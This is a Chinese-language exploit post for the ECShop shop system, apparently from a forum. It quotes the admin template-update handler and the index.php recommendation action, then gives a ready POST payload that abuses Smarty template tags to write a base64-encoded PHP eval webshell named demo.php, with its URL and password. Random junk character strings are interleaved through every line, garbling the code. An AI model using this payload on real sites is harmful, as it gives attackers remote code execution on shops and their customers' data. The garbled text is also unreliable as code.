首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* R/ ^3 L( a# l8 Y! F
3 x& {) v1 e+ g7 q/ s& q而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了$ H8 I' S+ D' b. o5 G) P* I
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
- a3 P; ]5 |# ]+ }; D$ dadmin/template.php) d: e' S) M5 A- N
, I# E% I7 A& e6 m$ \1 if ($_REQUEST['act'] == 'update_library') 4 \2 O2 j& D' D6 `( T# O/ F
# V6 a( k4 b! d i3 b; k
2 7 W8 x- X+ n! \& h
; U/ f _" H1 u8 p, d. t3 { 1 }) w$ A( r4 y( n( W* h3 S
: s! E l( k. f+ }3 J+ T1 R
4 check_authz_json('library_manage'); 7 U$ h7 N$ X2 Z5 |: L( i
4 H/ _ U& o9 a
5
. w8 ]( @5 p E' ^5 L2 j: J( M' W5 G8 E
6 $html = stripslashes(json_str_iconv($_POST['html']));
4 L* `, T& N2 D. ?- Z9 P+ x5 T: e0 s3 ^! j% R* F# U
7 - Q# x; F) f$ G7 U2 R: i" e
$ _+ E, j3 Z/ \5 a
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
9 |; X8 n- S$ K: g/ K" ?& v" u! O- P
9 , M( {$ R7 H- F8 ^
7 L6 N- l. a G, J1 P" t5 }3 G10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 * k: i. T* i/ ? {4 }7 O' O
' H. m& L* U [" u. [) A, H, z8 R
11
( t/ ~. t' v, S* y
f. B$ G/ h; F) D2 `12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 7 }2 _8 X2 ~" ]
& j6 H8 J. ]7 }% [3 ]13
+ }8 I5 ~) J" M4 i1 O7 O; c+ n7 s- t9 ~: [9 k
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ' v2 l; c: Z C2 o; U
7 O0 I, a0 g* z/ \6 Q! s9 I15 { 9 O( }" i" ] b5 X5 h1 u4 x1 q8 l
8 t. F+ z, T( x4 g, w" B
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( S7 _) y+ e$ ?
6 ]1 ?7 X; _# i0 q! j17 make_json_result('', $_LANG['update_lib_success']);
" ?: y* b' e3 i( C1 X% V) E
/ \) B1 g5 R" q7 c- B J18 }
6 S+ {9 x% g% h2 K0 d4 S# {1 ^+ v8 F! }% F1 w9 Z: d
19 else - S) d" w3 L8 E8 f" k# X
8 n+ @0 w) {$ H
20 { + m: b" x# u E) E1 W
1 X. A& j: U9 Q- }, @
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
, u# q- ` v/ N# H+ w, Y" Z8 w: j: c! ? `5 m4 ] |" W+ |2 s
22 }
1 L! T( L) I1 A, u! T0 m9 j9 c- W+ o% k' G7 E
23 }
1 g% x U0 @% b, [& ~7 h
' w% h2 a' Z/ Q. t% a% o那么找个比较方便调用了模板的文件
. c' n p* T" n! {index.php2 n# e) p Q& y& \$ a
0 Y# S- D% \$ z5 r9 r
1 if ($act == 'cat_rec')
: [5 Q% ?5 K: g6 I
% Y) ~. P0 x' _3 ~! Q: B$ [9 q. q2
& v# K+ y: v, f- C7 V
7 Z# k5 K4 T' G3 { $ ~2 v; @, Y# @. m4 N5 ^! w
( C+ [) w8 H8 D
4
! z9 b9 N' u0 A) P- y# l: f! r+ A G8 {' y b$ ^
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 D6 @8 C2 J9 C. w/ Q) M" H; ]( x3 x9 V& S# G6 f3 |4 t
6 ) ^8 m1 d# p+ p+ ?
1 [4 ^. |* {8 w3 q( s0 f2 A+ T7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; / w' i5 e+ D2 z/ E8 ?4 m Z
( M+ b! `/ C6 j# N1 M8
7 _1 j$ \) `) c
) W. y4 P* j O1 h2 r8 A8 f& X& N9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
0 B9 l9 V5 f2 f0 \7 |+ C
$ O3 {* L' a" Z0 I+ i3 X10 # n# |3 h( b' F7 s( Q
! F3 _4 e; g, `) O
11 include_once('includes/cls_json.php'); ( H* F6 m* ?: ~8 j- r
I, W F5 @/ M u5 }) C12
/ }7 O' u# I$ N3 C8 r! [! m
" `) d+ _3 h- a1 ^5 Z- n3 @0 ]& s13 $json = new JSON;
' j! ^9 H* Q6 I* x. C- j+ f
* _2 R. N7 Y0 {3 i8 j2 D9 O* V14 # f. n5 b# ], m
& G" y, _1 b7 |- J2 ^! k
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ( t. @5 E. h! `$ T
* h# H; h# L; H) O! R
16 [7 |& r7 [. U) J0 U, M
9 o' f! s" A/ x z17 $children = get_children($cat_id); + Q# T& `1 v! X3 ]7 d
) j+ Y0 O9 K& @
18
( j6 {' M+ W) u* E# |* B+ g# A$ \4 f0 m+ g
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 * s9 c9 Z( F3 ~7 [) G4 K
: S1 _( p! j# v3 i
20 4 {" c: \4 E5 p* t& L/ O x% i
& d, b& k% }; @$ e9 q% o
21 $smarty->assign('cat_rec_sign', 1);
1 m; a3 [( g2 @9 x! d
; V8 K5 j# K6 u" `7 M% ` T22
' M5 c. a" }6 Z( ~
, q3 ?& x: z4 ?- ]) L' ~& g8 W( i2 v. a23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
- j8 w- i4 o& O1 K6 ?1 q/ y/ J5 n( x+ p9 U$ |. C: U
24
6 E+ _, M/ u1 s* p! k9 b/ K. h @$ p5 J5 Z- u- c7 @
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
' W: M; g& |: ]5 o% U/ M
5 \1 X& ?8 S5 ^7 k3 ~8 Q5 A. ?26 ( k' h+ E( D! `5 V3 w4 ]' H
Q+ \( V; j& G0 i1 e t27 echo $rec_array[$rec_type]; # t5 z* I- Q, F/ }1 `' ]( Q1 R
/ Z, N+ }$ k* L/ q0 d3 j' s
28
( ~. j- ?8 z4 |( K6 j2 n$ F+ c
+ Z# v. ` q1 Q9 L/ ?+ E& r29 die($json->encode($result));
/ [- o, F5 A2 I1 j1 Q9 U h
7 s. }9 U: N. N6 f2 l30 % x) j$ a0 S& z7 {
8 E9 l) M) @0 T$ J0 ^- P31 }
6 F4 H! v' @8 p2 x4 Z% b1 P1 F' V* J1 V' U) a5 N) K
那么就有利用方法了- j; C1 L; h# V6 W' T0 y
post包到http://localhost/ec/admin/template.php?act=update_library
) G3 w* y8 D1 x3 y5 r2 QPost内容:
& f" v) P, i- \; B: q, O {+ F7 D w0 `* J; f: ]
: I2 g; O$ ^- d K7 M/ J4 T1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 6 ~9 O( k' E5 |8 M6 m
. j5 F' l: y6 f: G然后访问http://localhost/ec/index.php?act=cat_rec
8 n J1 X, a, @3 E u+ A. `. a' A, L9 S, k% b- {+ x
shel地址:http://localhost/ec/demo.php9 V" i3 Z2 e2 N3 P- U( r$ y
密码c8 q7 h1 y: @& l% X) V' \( [. k
6 C( w* ^5 f6 l6 w/ s/ V r
|